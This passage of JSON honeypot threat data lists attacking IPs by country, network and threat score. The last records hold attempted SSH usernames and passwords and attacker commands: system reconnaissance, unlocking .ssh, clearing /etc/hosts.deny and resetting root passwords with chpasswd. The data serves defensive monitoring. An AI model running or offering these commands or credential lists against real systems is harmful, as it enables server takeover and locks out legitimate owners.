        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ipojuca",
      "asn": 263517,
      "as_org": "Acesso Telecomunicacoes LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:30:57.904000+00:00",
        "last_seen_30d": "2026-05-02T04:32:13.779000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.191.112.20": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:23:57.732Z",
      "last_seen": "2026-05-05T11:24:10.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:23:57.732000+00:00",
        "last_seen_30d": "2026-05-05T11:25:17.423000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.191.94.187": {
      "attack_count": 2,
      "first_seen": "2026-05-11T04:19:44.945Z",
      "last_seen": "2026-05-11T04:19:58.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:19:44.945000+00:00",
        "last_seen_30d": "2026-05-11T04:21:06.122000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "204.157.182.79": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:06:25.885Z",
      "last_seen": "2026-05-02T04:06:38.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 211908,
      "as_org": "Horizon Scope Mobile Telecom WLL",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:06:25.885000+00:00",
        "last_seen_30d": "2026-05-02T04:07:41.717000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.70.119.130": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:34:13.765Z",
      "last_seen": "2026-05-12T19:34:27.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 48728,
      "as_org": "Vodafone Qatar P.Q.S.C",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:34:13.765000+00:00",
        "last_seen_30d": "2026-05-12T19:35:33.527000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.92.215": {
      "attack_count": 2,
      "first_seen": "2026-05-02T23:01:09.637Z",
      "last_seen": "2026-05-02T23:01:23.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:01:09.637000+00:00",
        "last_seen_30d": "2026-05-02T23:02:31.536000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.126.232.190": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:36:16.104Z",
      "last_seen": "2026-05-09T08:36:29.322Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:36:16.104000+00:00",
        "last_seen_30d": "2026-05-09T08:37:33.469000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.148.201.226": {
      "attack_count": 2,
      "first_seen": "2026-05-30T12:24:19.998Z",
      "last_seen": "2026-05-30T12:24:33.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangjin-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T12:24:19.998000+00:00",
        "last_seen_30d": "2026-05-30T12:25:42.515000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.184.180.211": {
      "attack_count": 2,
      "first_seen": "2026-05-21T17:07:05.301Z",
      "last_seen": "2026-05-21T17:07:19.695Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:07:05.301000+00:00",
        "last_seen_30d": "2026-05-21T17:08:29.555000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.24.104.226": {
      "attack_count": 2,
      "first_seen": "2026-05-22T18:56:07.068Z",
      "last_seen": "2026-05-22T18:56:39.982Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:56:07.068000+00:00",
        "last_seen_30d": "2026-05-22T18:57:47.455000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.41.113.100": {
      "attack_count": 2,
      "first_seen": "2026-05-10T16:49:06.440Z",
      "last_seen": "2026-05-10T16:49:19.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:49:06.440000+00:00",
        "last_seen_30d": "2026-05-10T16:50:25.762000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.211.61.86": {
      "attack_count": 2,
      "first_seen": "2026-05-04T05:40:05.198Z",
      "last_seen": "2026-05-04T05:42:05.204Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Biruaca",
      "asn": 274036,
      "as_org": "GBIT TECNOLOGY C.A",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:40:01.104000+00:00",
        "last_seen_30d": "2026-05-04T05:43:20.136000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "42.100.59.206": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:45:57.159Z",
      "last_seen": "2026-05-23T06:46:30.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:45:57.159000+00:00",
        "last_seen_30d": "2026-05-23T06:47:33.073000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.194.89.42": {
      "attack_count": 2,
      "first_seen": "2026-05-26T02:12:24.417Z",
      "last_seen": "2026-05-26T02:12:36.984Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Hasilpur",
      "asn": 138590,
      "as_org": "Prime Networks",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T02:12:24.417000+00:00",
        "last_seen_30d": "2026-05-26T02:13:45.493000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.10.233.186": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:55:23.675Z",
      "last_seen": "2026-05-03T10:55:36.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Udon Thani",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:55:23.675000+00:00",
        "last_seen_30d": "2026-05-03T10:56:44.854000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.236.85": {
      "attack_count": 2,
      "first_seen": "2026-05-02T05:34:38.259Z",
      "last_seen": "2026-05-02T05:35:09.096Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:34:38.259000+00:00",
        "last_seen_30d": "2026-05-02T05:36:12.725000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.211.241.217": {
      "attack_count": 2,
      "first_seen": "2026-05-21T15:52:07.993Z",
      "last_seen": "2026-05-21T15:52:21.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:52:07.993000+00:00",
        "last_seen_30d": "2026-05-21T15:53:25.653000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.64": {
      "attack_count": 2,
      "first_seen": "2026-05-09T12:30:08.261Z",
      "last_seen": "2026-05-09T12:30:08.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 29,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:25:56.718000+00:00",
        "last_seen_30d": "2026-05-30T23:59:13.932000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 29,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "198.91.30.59": {
      "attack_count": 2876,
      "first_seen": "2026-05-16T15:54:22.628Z",
      "last_seen": "2026-05-20T17:28:48.243Z",
      "sessions": 1440,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32647,
      "as_org": "Crucial Web Hosting, Ltd.",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4789,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:54:22.628000+00:00",
        "last_seen_30d": "2026-05-20T17:29:55.484000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2876,
        "Suricata": 1913
      }
    },
    "173.237.185.93": {
      "attack_count": 1120,
      "first_seen": "2026-05-03T22:29:40.785Z",
      "last_seen": "2026-05-03T22:43:32.442Z",
      "sessions": 560,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17378,
      "as_org": "TierPoint, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1682,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:29:40.785000+00:00",
        "last_seen_30d": "2026-05-03T22:44:34.929000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1120,
        "Suricata": 562
      }
    },
    "4.210.91.174": {
      "attack_count": 642,
      "first_seen": "2026-05-05T11:22:27.929Z",
      "last_seen": "2026-05-30T12:18:27.057Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "user",
        "bitcoin",
        "dbus-helper",
        "def",
        "dev",
        "kyt",
        "linux",
        "long",
        "pakchoi",
        "systemd-sync",
        "test",
        "test02",
        "ts",
        "ubuntu",
        "udev-monitor",
        "vendas",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "!Qq123456",
        "123",
        "123456",
        "123456789xd",
        "123456aA",
        "1234qwe!@",
        "1234qwer",
        "1q2w3e4r5t!@#$",
        "@Admin123",
        "@a12345678",
        "Abc123456789*",
        "Dp123123",
        "Hd123456",
        "Jj123456",
        "Kermit123@",
        "News@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6m5R0N4hUqnn\"|chpasswd|bash",
        "echo \"root:DFgmIUToWW8s\"|chpasswd|bash",
        "echo \"root:TJCCubaIpTF9\"|chpasswd|bash",
        "echo \"root:ogYejZROS54t\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 826,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:22:27.929000+00:00",
        "last_seen_30d": "2026-05-30T12:19:31.183000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 642,
        "Suricata": 184
      }
    },
    "88.147.30.59": {
      "attack_count": 559,
      "first_seen": "2026-05-04T07:41:18.012Z",
      "last_seen": "2026-05-26T21:00:18.249Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "admin",
        "postgres",
        "ftpuser",
        "oracle",
        "develop",
        "hadoop",
        "systemd",
        "test",
        "amsftp",
        "deployer",
        "dmdba",
        "ec2-user",
        "github",
        "gitlab-runner",
        "hduser",
        "kafka"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "test123",
        "111111",
        "123",
        "1234",
        "1234567890",
        "123admin123",
        "123qwe456rty",
        "194.163.185.16",
        "1q2w!Q@W",
        "1q2w3e4r5",
        "1q2w3e4r5t",
        "1qa@WS",
        "1qaz@WSX",
        "2233",
        "54321",
        "Aa@1234567"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nd24REryx4qO8\\nd24REryx4qO8\\n\"|passwd",
        "echo \"Voidsetdownload.so\\nq6ct0vz9Nvty\\nq6ct0vz9Nvty\\n\"|passwd",
        "echo -e \"12345\\nd24REryx4qO8\\nd24REryx4qO8\"|passwd|bash",
        "echo -e \"Voidsetdownload.so\\nq6ct0vz9Nvty\\nq6ct0vz9Nvty\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 35612,
      "as_org": "EOLO S.p.A.",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 765,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:41:18.012000+00:00",
        "last_seen_30d": "2026-05-26T21:01:19.465000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 559,
        "Suricata": 206
      }
    },
    "82.66.224.173": {
      "attack_count": 449,
      "first_seen": "2026-05-19T02:05:04.181Z",
      "last_seen": "2026-05-19T02:31:07.072Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bharath",
        "kt",
        "mytest",
        "webadmin",
        "administrator",
        "ansible",
        "claude",
        "damien",
        "elasticsearch",
        "geo",
        "mm",
        "sri"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx2024",
        "123",
        "123456+",
        "123QWE123qwe",
        "Admin@789",
        "a",
        "abc-1234",
        "abcd1234",
        "bharath",
        "claude123",
        "damien",
        "geo",
        "hpinvent",
        "kt@123",
        "mm",
        "mytest",
        "qwqw1212",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bharath\\n2khYgAcgyAhu\\n2khYgAcgyAhu\\n\"|passwd",
        "echo \"kt@123\\nKKkUKjqWXQbR\\nKKkUKjqWXQbR\\n\"|passwd",
        "echo \"mytest\\npyJVTFhHKDuX\\npyJVTFhHKDuX\\n\"|passwd",
        "echo \"root:v72AixcTeNOw\"|chpasswd|bash",
        "echo \"webadmin\\nCxDBrW1OFzEV\\nCxDBrW1OFzEV\\n\"|passwd",
        "echo -e \"bharath\\n2khYgAcgyAhu\\n2khYgAcgyAhu\"|passwd|bash",
        "echo -e \"kt@123\\nKKkUKjqWXQbR\\nKKkUKjqWXQbR\"|passwd|bash",
        "echo -e \"mytest\\npyJVTFhHKDuX\\npyJVTFhHKDuX\"|passwd|bash",
        "echo -e \"webadmin\\nCxDBrW1OFzEV\\nCxDBrW1OFzEV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:05:04.181000+00:00",
        "last_seen_30d": "2026-05-19T02:32:15.896000+00:00",
        "days_since_last_seen": 12
      },
